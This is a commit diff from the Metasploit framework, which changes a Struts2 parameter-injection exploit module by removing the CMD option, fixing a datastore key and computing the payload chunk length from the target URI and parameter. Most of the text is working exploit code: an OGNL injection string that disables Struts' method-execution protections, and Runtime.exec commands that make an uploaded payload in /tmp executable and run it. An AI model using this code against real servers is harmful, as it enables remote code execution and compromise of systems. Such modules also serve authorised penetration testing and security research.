Skip to content

Commit 302193f

Browse files
committed
Various fixes and improvements
Chunk_length now varies according to targeturi and parameter A few typographical inconsistences corrected CMD option removed as its not being used custom http request timeout removed
1 parent 8027615 commit 302193f

File tree

1 file changed

+5
-7
lines changed

1 file changed

+5
-7
lines changed

modules/exploits/multi/http/struts_code_exec_parameters.rb

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -69,15 +69,14 @@ def initialize(info = {})
6969
[
7070
Opt::RPORT(8080),
7171
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
72-
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
73-
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
72+
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"])
7473
], self.class)
7574
end
7675

7776
def execute_command(cmd, opts = {})
7877
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
7978
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
80-
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['Parameter']))
79+
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
8180
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
8281
uri = String.new(datastore['TARGETURI'])
8382
uri = normalize_uri(uri)
@@ -86,20 +85,18 @@ def execute_command(cmd, opts = {})
8685
'uri' => uri,
8786
'version' => '1.1',
8887
'method' => 'GET',
89-
}, 15)
88+
})
9089
return resp #Used for check function.
9190
end
9291

9392
def exploit
9493
#Set up generic values.
9594
@payload_exe = rand_text_alphanumeric(4+rand(4))
9695
pl_exe = generate_payload_exe
97-
chunk_length = 384
9896
append = 'false'
9997
#Now arch specific...
10098
case target['Platform']
10199
when 'linux'
102-
chunk_length = 128 #Complains of a long filename if left default.
103100
@payload_exe = "/tmp/#{@payload_exe}"
104101
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
105102
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
@@ -123,7 +120,8 @@ def exploit
123120
end
124121

125122
#Now with all the arch specific stuff set, perform the upload.
126-
123+
chunk_length = 2048 - (exec_cmd.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length)
124+
chunk_length = ((chunk_length/4).floor)*3
127125
while pl_exe.length > chunk_length
128126
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
129127
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]

0 commit comments

Comments
 (0)